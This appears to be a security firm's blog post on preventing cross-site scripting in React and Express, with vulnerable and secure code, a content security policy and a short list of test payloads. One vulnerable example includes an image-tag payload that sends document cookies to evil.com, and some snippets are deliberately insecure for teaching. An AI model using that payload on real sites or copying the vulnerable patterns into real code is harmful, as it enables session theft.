Preventing XSS Attacks in Modern Web Applications

Preventing XSS Attacks in Modern Web Applications

Whitespots Team ·
xss
web
frontend

Introduction

Cross-Site Scripting (XSS) is one of the most prevalent web application vulnerabilities, consistently ranking in the OWASP Top 10. XSS attacks allow attackers to inject malicious scripts into web pages viewed by other users, potentially stealing sensitive data, session tokens, or performing actions on behalf of victims.

Types of XSS Attacks

1. Stored XSS (Persistent)

Malicious scripts are permanently stored on the target server (database, message forum, comment field, etc.) and served to users.

2. Reflected XSS (Non-Persistent)

Malicious scripts are reflected off a web server, such as in error messages or search results.

3. DOM-based XSS

The vulnerability exists in client-side code rather than server-side code.

Vulnerable Code Example

Here’s a common vulnerable pattern in a React application:

javascript
// VULNERABLE: Direct HTML rendering function UserProfile({ userData }) { return ( <div> <h1>Welcome, {userData.name}</h1> <div dangerouslySetInnerHTML={{ __html: userData.bio }} /> </div> ); } // Attacker submits bio: // <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">

Vulnerable server-side code in Express.js:

javascript
// VULNERABLE: No sanitization app.get('/search', (req, res) => { const query = req.query.q; res.send(`<h1>Search results for: ${query}</h1>`); }); // Attack URL: /search?q=<script>alert('XSS')</script>

Secure Implementation

Frontend Protection (React)

javascript
// SECURE: React automatically escapes content function UserProfile({ userData }) { return ( <div> <h1>Welcome, {userData.name}</h1> <p>{userData.bio}</p> </div> ); } // If HTML is necessary, sanitize first import DOMPurify from 'dompurify'; function UserProfileWithHTML({ userData }) { const sanitizedBio = DOMPurify.sanitize(userData.bio); return ( <div> <h1>Welcome, {userData.name}</h1> <div dangerouslySetInnerHTML={{ __html: sanitizedBio }} /> </div> ); }

Backend Protection (Node.js/Express)

javascript
import express from 'express'; import { escape } from 'html-escaper'; const app = express(); // SECURE: Proper escaping app.get('/search', (req, res) => { const query = escape(req.query.q); res.send(`<h1>Search results for: ${query}</h1>`); }); // Better: Use templating engines with auto-escaping app.set('view engine', 'ejs'); app.get('/search', (req, res) => { res.render('search', { query: req.query.q }); });

Content Security Policy (CSP)

Implement a strong CSP header to prevent XSS execution:

javascript
app.use((req, res, next) => { res.setHeader( 'Content-Security-Policy', "default-src 'self'; " + "script-src 'self' 'nonce-{random}'; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data: https:; " + "font-src 'self'; " + "connect-src 'self'; " + "frame-ancestors 'none';" ); next(); });

Prevention Best Practices

  1. Output Encoding - Always encode user input before rendering in HTML, JavaScript, CSS, or URLs
  2. Input Validation - Validate and sanitize all user inputs on both client and server
  3. Use Frameworks Wisely - Leverage built-in XSS protections in modern frameworks
  4. Content Security Policy - Implement strict CSP headers
  5. HttpOnly Cookies - Set HttpOnly flag on session cookies to prevent JavaScript access
  6. Avoid Dangerous Functions - Minimize use of innerHTML, dangerouslySetInnerHTML, eval()

Testing for XSS

javascript
// Common XSS test payloads const testPayloads = [ '<script>alert("XSS")</script>', '<img src=x onerror=alert("XSS")>', '<svg onload=alert("XSS")>', 'javascript:alert("XSS")', '<iframe src="javascript:alert(\'XSS\')">', ]; // Automated testing example test('User input should be escaped', () => { const maliciousInput = '<script>alert("XSS")</script>'; const result = sanitizeInput(maliciousInput); expect(result).not.toContain('<script>'); });

Conclusion

XSS vulnerabilities can have severe consequences, but they’re preventable with proper security practices. Always treat user input as untrusted, use appropriate encoding, leverage framework protections, and implement defense-in-depth strategies like CSP.

Regular security assessments and penetration testing can help identify XSS vulnerabilities before attackers do. Contact Whitespots for a comprehensive security evaluation of your web applications.